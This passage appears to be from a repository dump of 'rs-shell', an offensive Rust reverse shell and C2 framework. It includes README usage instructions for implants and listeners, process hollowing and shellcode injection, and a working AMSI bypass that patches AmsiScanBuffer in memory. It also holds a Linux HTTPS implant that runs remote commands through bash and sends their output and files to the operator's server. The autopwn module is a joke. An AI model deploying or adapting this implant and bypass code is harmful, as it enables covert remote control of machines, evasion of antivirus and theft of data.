clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.\n\nRustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:\n\n```bash\nopenssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'\n```\n\n### Compilation\n\nThe project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.\n\nTo cross-compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-pc-windows-gnu`. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:\n* `sudo apt install mingw-w64`\n* `rustup target add x86_64-pc-windows-gnu`\n* `cargo build --release --target x86_64-pc-windows-gnu`\n\nThe project compilation has been tested with the following Rust toolchains :\n\n* `stable-x86_64-pc-windows-gnu`\n* `stable-x86_64-pc-windows-msvc`\n* `stable-x86_64-unknown-linux-gnu`\n\nIf you compile the project for a Linux target, the \"Windows features\" will be removed at compilation.\nShould run on all Windows and Linux versions (I have hope).\n\n### Usage\n\n```plain\nUsage: rs-shell.exe [OPTIONS] --mode <mode> --side <side> --ip <ip>\n\nOptions:\n  -m, --mode <mode>            communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]\n  -s, --side <side>            launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]\n  -i, --ip <ip>                IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants\n  -p, --port <port>            port address to bind to for the TCP listener, or to connect to for the implant\n      --cert-path <cert_path>  path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS\n      --cert-pass <cert_pass>  password of the TLS PKCS12 certificate for the TCP server\n      --key-path <key_path>    path of the TLS key for the HTTPS server\n  -h, --help                   Print help\n  -V, --version                Print version\n```\n\n#### TCP usage\n\nTo obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass \"Password\"`.\n\nThen, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.\n\n#### HTTPS usage\n\nFirst, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\\cert.pem --key-path .\\key.pem`.\n\nThen, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.\n\nFinally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.\n\n### Advanced commands\n\n```plain\n> help\n[+] Custom integrated commands :\n\n    [+] Loading commands\n    > load C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it. This will kill the reverse shell !\n    > load -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it\n    > load -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it\n\n    [+] Loading commands with indirect syscalls\n    > syscalls C:\\\\path\\\\to\\\\PE_to_load\n        load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !\n    > syscalls -h C:\\\\path\\\\to\\\\PE_to_load C:\\\\path\\\\to\\\\PE_to_hollow\n        load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls\n    > syscalls -s C:\\\\path\\\\to\\\\shellcode.bin C:\\\\path\\\\to\\\\PE_to_execute\n        load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls\n\n    [+] Bypass commands\n    > powpow\n        start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls\n\n    [+] Network commands\n    > download C:\\\\file\\\\to\\\\download C:\\\\local\\\\path\n        download a file from the remote system\n    > upload C:\\\\local\\\\file\\\\to\\\\upload C:\\\\remote\\\\path\\\\to\\\\write\n        upload a file to the remote system\n\n    [+] Special commands\n    > autopwn\n        escalate to the SYSTEM or root account from any local account by exploiting a zero day\n```\n\nThe `load` commands permit to load and execute directly in memory:\n\n* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example\n* `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR\n* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk\n\nFor example : `> load -h C:\\Windows\\System32\\calc.exe C:\\Windows\\System32\\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.\n\nOn the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.\n\n`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.\n\n`download` permits to download a file from the client to the machine where the server is running. For example `download C:\\Users\\Administrator\\Desktop\\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\\Users\\Administrator\\Desktop\\creds.txt`, and the file will be downloaded in the `downloads` directory  on the server.\n\n`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\\Temp\\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.\n\n`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.\n\n## Todo\n\n- [x] Move all the Win32API related commands to the NTAPI with indirect syscalls\n- [ ] Implement other injection techniques\n- [ ] Implement a port forwarding solution\n- [x] Find a way to create a fully proxy aware client\n- [ ] Implement a reverse socks proxy feature\n\n## Disclaimers\n\nThis is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.\n\nUsage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.\n\n## Acknowledgements\n\n* [OffensiveRust](https://github.com/winsecurity/Offensive-Rust) by [winsecurity](https://github.com/winsecurity). This project would never have existed without him. Many of functions, structures, and tricks present in `rs-shell` come from this project\n* [OffensiveRust](https://github.com/trickster0/OffensiveRust) by [trickster0](https://github.com/trickster0)\n* Multiple projects by [memN0ps](https://github.com/memN0ps)\n* [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)\n* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)\n* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust\n* [Actix](https://actix.rs/) web framework"
  },
  {
    "path": "src/amsi_bypass.rs",
    "content": "#![cfg(target_family = \"windows\")]\n\nuse crate::utils::structures::{IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};\nuse crate::utils::tools_windows::*;\n\nuse core::time;\nuse regex::Regex;\nuse std::error::Error;\nuse std::ffi::c_void;\nuse std::io::{BufReader, Read, Write};\n//use std::mem::MaybeUninit;\nuse std::process::Child;\nuse std::sync::mpsc::{Receiver, Sender, TryRecvError};\nuse std::thread;\n\nuse ntapi::ntapi_base::CLIENT_ID;\nuse winapi::shared::ntdef::{HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, PVOID};\nuse winapi::um::winnt::{PAGE_EXECUTE_READ, PAGE_READWRITE};\nuse windows_sys::Win32::Foundation::CloseHandle;\nuse windows_sys::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};\nuse windows_sys::Win32::System::Diagnostics::ToolHelp::{\n    CreateToolhelp32Snapshot, Module32First, Module32Next, MODULEENTRY32, TH32CS_SNAPALL,\n};\nuse windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};\n\nuse syscalls::syscall;\n\nstatic PATH_REGEX: &str = r#\"PS (?<ParentPath>(?:[a-zA-Z]\\:|\\\\\\\\[\\w\\s\\.\\-]+\\\\[^\\/\\\\<>:\"|?\\n\\r]+)\\\\(?:[^\\/\\\\<>:\"|?\\n\\r]+\\\\)*)(?<BaseName>[^\\/\\\\<>:\"|?\\n\\r]*?)> \"#;\n\nfn get_scan_buffer(amsiaddr: isize, phandle: *mut c_void, syscalls_value: bool) -> isize {\n    let mut status: NTSTATUS;\n    let mut buf: [u8; 64] = [0; 64];\n\n    unsafe {\n        // Retrieves the DOS headers of amsi.dll\n        if syscalls_value {\n            status = syscall!(\n                \"NtReadVirtualMemory\",\n                phandle as *mut c_void,\n                amsiaddr as *mut c_void,\n                buf.as_mut_ptr() as *mut c_void,\n                buf.len(),\n                NULL\n            );\n\n            if !NT_SUCCESS(status) {\n                log::debug!(\n                    \"Error reading target memory to retrieve the DOS headers: {:x}\",\n                    status\n                );\n            }\n        } else {\n            ReadProcessMemory(\n                phandle,\n                amsiaddr as *const c_void,\n                buf.as_mut_ptr() as *mut c_void,\n                64,\n                std::ptr::null_mut(),\n            );\n        }\n        let mut dos_head = IMAGE_DOS_HEADER::default();\n        fill_structure_from_array(&mut dos_head, &buf, syscalls_value);\n\n        // Retrieves the NT headers of amsi.dll\n        let mut nt_head = IMAGE_nt_headS64::default();\n        fill_structure_from_memory(\n            &mut nt_head,\n            (amsiaddr + dos_head.e_lfanew as isize) as *const c_void,\n            phandle,\n            syscalls_value,\n        );\n        log::debug!(\n            \"NT headers: {:#x?}\",\n            nt_head.OptionalHeader.ExportTable.VirtualAddress\n        );\n\n        // Parse all the DLL's exports and find the AmsiScanBuffer function\n        let mut exports = IMAGE_EXPORT_DIRECTORY::default();\n        fill_structure_from_memory(\n            &mut exports,\n            (amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize)\n                as *const c_void,\n            phandle,\n            syscalls_value,\n        );\n        log::debug!(\"Exports: {:#x?}\", exports);\n\n        let mut i = 0;\n        loop {\n            let mut nameaddr: [u8; 4] = [0; 4];\n            if syscalls_value {\n                status = syscall!(\n                    \"NtReadVirtualMemory\",\n                    phandle as *mut c_void,\n                    (amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *mut c_void,\n                    nameaddr.as_mut_ptr() as *mut c_void,\n                    nameaddr.len(),\n                    NULL\n                );\n\n                if !NT_SUCCESS(status) {\n                    log::debug!(\n                        \"Error reading target memory to retrieve the function: {:x}\",\n                        status\n                    );\n                }\n            } else {\n                ReadProcessMemory(\n                    phandle,\n                    (amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *const c_void,\n                    nameaddr.as_mut_ptr() as *mut c_void,\n                    nameaddr.len(),\n                    std::ptr::null_mut(),\n                );\n            }\n            let num = u32::from_ne_bytes(nameaddr.try_into().unwrap());\n            let funcname = read_from_memory(\n                (amsiaddr + num as isize) as *const c_void,\n                phandle,\n                syscalls_value,\n            );\n            if funcname.trim_end_matches('\\0') == \"AmsiScanBuffer\" {\n                log::debug!(\"Name: {}\", funcname);\n\n                let mut ord: [u8; 2] = [0; 2];\n                if syscalls_value {\n                    status = syscall!(\n                        \"NtReadVirtualMemory\",\n                        phandle as *mut c_void,\n                        (amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))\n                            as *mut c_void,\n                        ord.as_mut_ptr() as *mut c_void,\n                        ord.len(),\n                        NULL\n                    );\n\n                    if !NT_SUCCESS(status) {\n                        log::debug!(\n                            \"Error reading target memory to retrieve the index number: {:x}\",\n                            status\n                        );\n                    }\n                } else {\n                    ReadProcessMemory(\n                        phandle,\n                        (amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))\n                            as *const c_void,\n                        ord.as_mut_ptr() as *mut c_void,\n                        ord.len(),\n                        std::ptr::null_mut(),\n                    );\n                }\n                let index = u16::from_ne_bytes(ord.try_into().unwrap());\n                log::debug!(\"Index: {}\", index);\n\n                let mut addr: [u8; 4] = [0; 4];\n                if syscalls_value {\n                    status = syscall!(\n                        \"NtReadVirtualMemory\",\n                        phandle as *mut c_void,\n                        (amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))\n                            as *mut c_void,\n                        addr.as_mut_ptr() as *mut c_void,\n                        addr.len(),\n                        NULL\n                    );\n\n                    if !NT_SUCCESS(status) {\n                        log::debug!(\n                            \"Error reading target memory to retrieve the index address: {:x}\",\n                            status\n                        );\n                    }\n                } else {\n                    ReadProcessMemory(\n                        phandle,\n                        (amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))\n                            as *const c_void,\n                        addr.as_mut_ptr() as *mut c_void,\n                        addr.len(),\n                        std::ptr::null_mut(),\n                    );\n                }\n                let addrindex = u32::from_ne_bytes(addr.try_into().unwrap());\n                log::debug!(\"Index addr: {}\", addrindex);\n                return amsiaddr + addrindex as isize;\n            }\n\n            i += 1;\n            if i >= exports.NumberOfNames as isize {\n                break;\n            }\n        }\n        return 0;\n    }\n}\n\npub fn patch_amsi(pid: u32, syscalls_value: bool) {\n    unsafe {\n        // Start PowerShell process\n        //let mut lpStartupInfo: STARTUPINFOA = std::mem::zeroed();\n        //let mut lpProcessInformation: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed();\n        /*CreateProcessA(\n            \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\0\".as_ptr() as *const u8,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            0,\n            CREATE_NO_WINDOW,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            &mut lpStartupInfo as *mut STARTUPINFOA,\n            &mut lpProcessInformation\n                as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION,\n        );*/\n        let mut new_handle = pid as HANDLE;\n        let mut status: NTSTATUS;\n        if syscalls_value {\n            let object_attr = OBJECT_ATTRIBUTES::default();\n            let client_id: CLIENT_ID = CLIENT_ID {\n                UniqueProcess: pid as _,\n                UniqueThread: 0 as _,\n            };\n            status = syscall!(\n                \"NtOpenProcess\",\n                &mut new_handle,\n                PROCESS_ALL_ACCESS,\n                &object_attr,\n                &client_id\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\"Error openning target process: {:x}\", status);\n            }\n        } else {\n            new_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) as *mut c_void;\n        }\n        //Wait for the process to totally load before the snap\n        std::thread::sleep(time::Duration::from_secs(2));\n        let snap_handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, pid);\n\n        // Initialization\n        let mut first_mod: MODULEENTRY32 = std::mem::zeroed();\n        first_mod.dwSize = std::mem::size_of::<MODULEENTRY32>() as u32;\n        Module32First(snap_handle, &mut first_mod as *mut MODULEENTRY32);\n        let _modulname = string_from_array(\n            &mut first_mod\n                .szModule\n                .to_vec()\n                .iter()\n                .map(|&x| x as u8)\n                .collect(),\n        );\n        log::debug!(\"Module name: {:?}\", _modulname);\n\n        // Search for the amsi.dll module in the PowerShell process memory\n        let mut amsiaddr: isize = 0;\n        loop {\n            let mut next_mod: MODULEENTRY32 = std::mem::zeroed();\n            next_mod.dwSize = std::mem::size_of::<MODULEENTRY32>() as u32;\n            let res_next = Module32Next(snap_handle, &mut next_mod as *mut MODULEENTRY32);\n            let next_module = string_from_array(\n                &mut next_mod\n                    .szModule\n                    .to_vec()\n                    .iter()\n                    .map(|&x| x as u8)\n                    .collect(),\n            );\n            log::debug!(\"Next module: {:?}\", next_module);\n\n            if next_module == \"amsi.dll\" {\n                amsiaddr = next_mod.modBaseAddr as isize;\n                break;\n            }\n            if res_next != 1 {\n                break;\n            }\n        }\n\n        log::debug!(\"Amsi base addr: {:x?}\", amsiaddr);\n        let mut scanbuffer_addr =\n            get_scan_buffer(amsiaddr, new_handle, syscalls_value) as *mut c_void;\n        log::debug!(\"AmsiScanBuffer base addr: {:x?}\", scanbuffer_addr);\n\n        // mov rax, 1\n        // ret\n        let mut patch: [u8; 8] = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3];\n        if syscalls_value {\n            let mut save_addr: PVOID = scanbuffer_addr;\n            let mut old_perms = PAGE_EXECUTE_READ;\n            status = syscall!(\n                \"NtProtectVirtualMemory\",\n                new_handle,\n                &mut scanbuffer_addr,\n                &mut patch.len(),\n                PAGE_READWRITE,\n                &mut old_perms\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\"Error changing memory permissions: {:x}\", status);\n            }\n            status = syscall!(\n                \"NtWriteVirtualMemory\",\n                new_handle,\n                save_addr,\n                patch.as_mut_ptr() as *mut c_void,\n                patch.len(),\n                NULL\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\"Error patching target process: {:x}\", status);\n            }\n            status = syscall!(\n                \"NtProtectVirtualMemory\",\n                new_handle,\n                &mut save_addr,\n                &mut patch.len(),\n                old_perms,\n                &mut old_perms\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\"Error rollback memory permissions: {:x}\", status);\n            }\n        } else {\n            WriteProcessMemory(\n                new_handle,\n                scanbuffer_addr,\n                patch.as_ptr() as *const c_void,\n                patch.len(),\n                std::ptr::null_mut(),\n            );\n        }\n\n        CloseHandle(new_handle);\n    }\n}\n\npub fn start_process_thread(\n    child: &mut Child,\n    sender: Sender<String>,\n    receiver: Receiver<String>,\n) -> Result<(), Box<dyn Error>> {\n    let mut stdin = child.stdin.take().unwrap();\n    let stdout = child.stdout.take().unwrap();\n    let path_regex = Regex::new(PATH_REGEX).unwrap();\n    thread::spawn(move || {\n        let mut f = BufReader::new(stdout);\n        let mut buff_to_send: [u8; 4096];\n        loop {\n            buff_to_send = [0; 4096];\n            match f.read(&mut buff_to_send) {\n                Ok(_) => {\n                    /*\n                    Here we stop reading PowerShell output with a regex that matches the PS line waiting for user input \"PS <path> >\"\n                    - Is it crappy ? Yes\n                    - Is there a better solution ? Yeah, probably\n                    - Have I tried other solutions ? Yes, like searching for an EOF like or identifying the PowerShell thread waiting for UserRequest, but none has been successfull\n                    - What can you do to make the world a better place ? Make a PR :)\n                    */\n                    while !path_regex.is_match(\n                        String::from_utf8_lossy(&buff_to_send)\n                            .trim_end_matches(\"\\0\")\n                            .to_string()\n                            .as_str(),\n                    ) {\n                        sender\n                            .send(String::from_utf8_lossy(&buff_to_send).to_string())\n                            .expect(\"Thread send error\");\n                        buff_to_send = [0; 4096];\n                        match f.read(&mut buff_to_send) {\n                            Ok(_) => (),\n                            Err(r) => {\n                                sender\n                                    .send(\n                                        \"Error reading output from stdout: \".to_string()\n                                            + &r.to_string(),\n                                    )\n                                    .unwrap();\n                                sender.send(\"EndOfOutput\".to_string()).unwrap();\n                                break;\n                            }\n                        }\n                    }\n                    sender\n                        .send(String::from_utf8_lossy(&buff_to_send).to_string())\n                        .unwrap();\n                    sender.send(\"EndOfOutput\".to_string()).unwrap();\n                }\n                Err(r) => {\n                    log::debug!(\"{:?}\", r);\n                    sender\n                        .send(\"Error reading output from stdout: \".to_string() + &r.to_string())\n                        .unwrap();\n                    sender.send(\"EndOfOutput\".to_string()).unwrap();\n                    continue;\n                }\n            }\n            loop {\n                match receiver.try_recv() {\n                    Ok(command) => match stdin.write_all(command.as_bytes()) {\n                        Ok(_) => break,\n                        Err(r) => {\n                            log::debug!(\"Error sending command to stdin: {:?}\", r);\n                            sender\n                                .send(\n                                    \"Error sending command to stdin: \".to_string() + &r.to_string(),\n                                )\n                                .unwrap();\n                            sender.send(\"EndOfOutput\".to_string()).unwrap();\n                            continue;\n                        }\n                    },\n                    Err(TryRecvError::Empty) => {\n                        continue;\n                    }\n                    Err(r) => {\n                        log::debug!(\"Thread recv error: {:?}\", r);\n                        sender\n                            .send(\"Error reading command: \".to_string() + &r.to_string())\n                            .unwrap();\n                        sender.send(\"EndOfOutput\".to_string()).unwrap();\n                        continue;\n                    }\n                }\n            }\n        }\n    });\n\n    Ok(())\n}\n"
  },
  {
    "path": "src/autopwn.rs",
    "content": "use core::time;\n\npub fn autopwn() {\n    log::info!(\"Searching for the base addr...\");\n    std::thread::sleep(time::Duration::from_secs(1));\n    log::info!(\"Locating the buffer...\");\n    std::thread::sleep(time::Duration::from_millis(500));\n    log::info!(\"Exploiting null-byte poisoning...\");\n    std::thread::sleep(time::Duration::from_secs(1));\n    log::info!(\"Using meaning of life to overlap the chunk...\");\n    std::thread::sleep(time::Duration::from_secs(1));\n    open::that(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1\").unwrap();\n\n    log::error!(\"Now read the code before launching any command from an unknown project\");\n}\n"
  },
  {
    "path": "src/https/https_linux_implant.rs",
    "content": "use reqwest::{blocking::multipart, blocking::Client};\nuse std::fs::File;\nuse std::io::Write;\nuse std::{error::Error, path::Path, process::Command};\nuse std::{thread, time};\n\nfn do_stuff(cmd: &str) -> Vec<u8> {\n    let exec = Command::new(\"/bin/bash\")\n        .args([\"-c\", cmd.trim_end_matches(\"\\r\\n\")])\n        .output()\n        .unwrap();\n\n    let stdo = exec.stdout.as_slice();\n    let _stdr = exec.stderr.as_slice();\n\n    if _stdr.is_empty() {\n        stdo.to_vec()\n    } else {\n        _stdr.to_vec()\n    }\n}\n\npub fn implant(ip: &str) -> Result<(), Box<dyn Error>> {\n    // HTTPS implant without certificate verification\n    let client = Client::builder()\n        .danger_accept_invalid_certs(true)\n        .build()?;\n\n    let mut url = format!(\"https://{}/rs-shell/index\", ip);\n    // Connect to the server and get the banner\n    let mut response = client.get(url).send()?;\n    if response.status().is_success() {\n        log::debug!(\"Session initialized\");\n\n        let os = std::env::consts::FAMILY;\n        url = format!(\"https://{}/rs-shell/os\", ip);\n        response = client.post(url).body(os).send()?;\n        if response.status().is_success() {\n            log::debug!(\"OS send\");\n        } else {\n            log::debug!(\"HTTP error: {}\", response.status());\n        }\n\n        loop {\n            // Get the next task\n            url = format!(\"https://{}/rs-shell/next_task\", ip);\n            response = client.get(url).send()?;\n            if response.status().is_success() {\n                let res = response.text()?.to_string();\n                log::debug!(\"Task: {}\", res);\n                let (cmd, value) = match res.split_once(':') {\n                    Some((cmd, value)) => (cmd, value),\n                    None => (res.as_str(), \"\"),\n                };\n\n                match cmd {\n                    \"cmd\" => {\n                        let res_cmd = do_stuff(value);\n                        log::debug!(\"{}\", String::from_utf8_lossy(&res_cmd));\n                        url = format!(\"https://{}/rs-shell/receive_output\", ip);\n                        response = client.post(url).body(res_cmd).send()?;\n                        if response.status().is_success() {\n                            log::debug!(\"Command executed\");\n                        } else {\n                            log::debug!(\"HTTP error: {}\", response.status());\n                        }\n                    }\n                    \"upload\" => {\n                        let url = format!(\"https://{}/rs-shell/upload{}\", ip, value);\n                        let response = client.get(url).send()?;\n                        if response.status().is_success() {\n                            let path = Path::new(value.trim());\n                            File::create(path.file_name().unwrap().to_str().unwrap())\n                                .unwrap()\n                                .write_all(response.bytes().unwrap().to_vec().as_slice())?;\n                            log::debug!(\"Uploaded file into ./\");\n                        } else {\n                            log::debug!(\"HTTP error uploading file: {}\", response.status());\n                        }\n                    }\n                    \"download\" => {\n                        let url = format!(\"https://{}/\", ip);\n                        match multipart::Form::new().file(\"file\", value.trim_end_matches(\"\\n\")) {\n                            Ok(form) => {\n                                response = client.post(url).multipart(form).send()?;\n                                if response.status().is_success() {\n                                    log::debug!(\"Downloaded file: {}\", value);\n                                } else {\n                                    log::debug!(\n                                        \"HTTP error downloading file: {}\",\n                                        response.status()\n                                    );\n                                }\n                            }\n                            Err(e) => log::debug!(\"Error: {}\", e),\n                        }\n                    }\n                    \"No task\" => {\n                        log::debug!(\"No task\");\n                    }\n                    \"exit\" | \"quit\" => {\n                        log::debug!(\"Exiting...\");\n                        break;\n                    }\n                    _ => log::debug!(\"Unknown command\"),\n                }\n            } else {\n                log::debug!(\"Error obtaining new task: {}\", response.status());\n                continue;\n            }\n            // For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value\n            // Or setup an option to change it via the CLI\n            thread::sleep(time::Duration::from_secs(2));\n        }\n    } else {\n        log::debug!(\"RS-Shell server cannot be reached: {}\", response.status());\n    }\n\n    Ok(())\n}\n"
  },
  {
    "path": "src/https/https_operator.rs",
    "content": "use reqwest::{blocking::multipart, blocking::Client};\nuse std::{\n    error::Error,\n    io::{self, Write},\n    path::Path,\n};\n\nuse crate::autopwn;\n\npub fn operator(ip_addr: &str) -> Result<(), Box<dyn Error>> {\n    // HTTPS client without certificate verification\n    let client = Client::builder()\n        .danger_accept_invalid_certs(true)\n        .build()?;\n\n    let mut url = format!(\"https://{}/rs-shell/index\", ip_addr);\n    // Connect to the server and get the banner\n    let mut response = client.get(url).send()?;\n\n    if response.status().is_success() {\n        let body = response.text()?;\n        println!(\"{}\", body);\n        log::info!(\"[+] Connection success to {} ! BANG BANG !\", ip_addr);\n        log::info!(\"[+] This shell is yours !\");\n        log::info!(\"[+] Type 'help' for advanced integrated commands\");\n\n        // Retrieve the implant's OS\n        let mut _implant_os = String::new();\n        url = format!(\"https://{}/rs-shell/upload./os.txt\", ip_addr);\n        response = client.get(url).send()?;\n        if response.status().is_success() {\n            _implant_os = response.text()?;\n            log::info!(\"[+] Implant's OS family is {}\", _implant_os)\n        } else {\n            _implant_os = \"undefined\".to_string();\n            log::warn!(\"Cannot read implant OS : {}\", response.status());\n        }\n\n        // Ctrl+C handler to avoid kill the shell by error\n        ctrlc::set_handler(move || {\n            println!(\n                \"Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually.\"\n            );\n        })\n        .expect(\"Error setting Ctrl-C handler\");\n\n        // Command loop\n        loop {\n            print!(\"> \");\n            io::stdout().flush().unwrap();\n            let mut cmd = String::new();\n            io::stdin().read_line(&mut cmd).expect(\"[-] Input issue\");\n            cmd = cmd.trim_end().to_string();\n\n            // Check for help command\n            if cmd.as_str().starts_with(\"help\") {\n                println!(\"{}\", https_help());\n                continue;\n            }\n\n            // Cmd handling\n            if cmd.trim_end().ne(\"\") {\n                // Check for download/upload commands\n                if cmd.as_str().starts_with(\"download\") {\n                    let path: Vec<&str> = cmd.split(' ').collect();\n                    if path.len() != 2 {\n                        log::warn!(\n                            \"Invalid argument number. Usage is : download C:\\\\file\\\\to\\\\download\"\n                        );\n                    } else {\n                        url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                        log::info!(\"Downloading file : {}\", path[1]);\n                        response = client\n                            .post(url)\n                            .body(format!(\"download:{}\", path[1]))\n                            .send()?;\n\n                        if response.status().is_success() {\n                            let body = response.text()?;\n                            log::info!(\"{}\", body);\n                        } else {\n                            log::error!(\"RS-Shell error: {}\", response.status());\n                        }\n                    }\n                    continue;\n                } else if cmd.as_str().starts_with(\"upload\") {\n                    let path: Vec<&str> = cmd.split(' ').collect();\n                    if path.len() != 2 {\n                        log::warn!(\n                            \"Invalid argument number. Usage is : upload C:\\\\file\\\\to\\\\upload\"\n                        );\n                    } else {\n                        log::info!(\"Uploading file : {}\", path[1]);\n                        /*\n                            Uploading file on the server before uploading it on the target machine\n                            To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)\n                        */\n                        url = format!(\"https://{}/\", ip_addr);\n                        match multipart::Form::new()\n                            .file(\"file\", path[1].trim_end_matches(\"\\r\\n\\0\"))\n                        {\n                            Ok(form) => {\n                                response = client.post(url).multipart(form).send()?;\n\n                                if response.status().is_success() {\n                                    let filename = Path::new(path[1].trim())\n                                        .file_name()\n                                        .unwrap()\n                                        .to_str()\n                                        .unwrap();\n                                    let file_path = format!(\"./downloads/{}\", filename);\n                                    url = format!(\"https://{}/rs-shell/operator_cmd\", ip_addr);\n                                    response = client\n                                        .post(url)\n                                        .body(format!(\"upload:{}\", file_path))\n                                        .send()?;\n\n                                    if response.status().is_success() {\n                                        let body = response.text()?;\n                                        log::info!(\"{}\", body);\n                                    } else {\n                                        log::error!(\"RS-Shell error: {}\", response.status());\n                                    }\n                                }\n                            }\n                            Err(e) => log::debug!(\"Error: {}\", e),\n                        }\n                    }\n                    continue;\n                } else if cmd.as_str().starts_with(\"load -h\")\n                    || cmd.as_str().starts_with(\"load -s\")\n                    || cmd.as_str().starts_with(\"syscalls -h\")\n                    || cmd.as_str().starts_with(\"syscalls -s\")\n                {\n                    if _implant_os.ne(\"windows\") {\n                        log::warn!(\n                            \"Client's OS is not Windows, this command doesn't make any sense\"\n                        );\n                        continue;\n                    }\n                    let path: Vec<&str> = cmd.split(' ').collect();\n                    if path.len() != 4 {\n                        log::warn!(\"Invalid argument number. Usage is : {} -h|-s C:\\\\path\\\\to\\\\file_to_inject C:\\\\path\\\\to\\\\process_to_start\", path[0]);\n                    } else {\n                        // In case of shellcode injection, the implant will load it from the server and execute it without touching the disk\n                        // So we need to upload the shellcode file on the server first\n                        if cmd.as_str().starts_with(\"load -s\")\n                            || cmd.as_str().starts_with(\"syscalls -s\")\n                        {\n                            log::info!(\n                                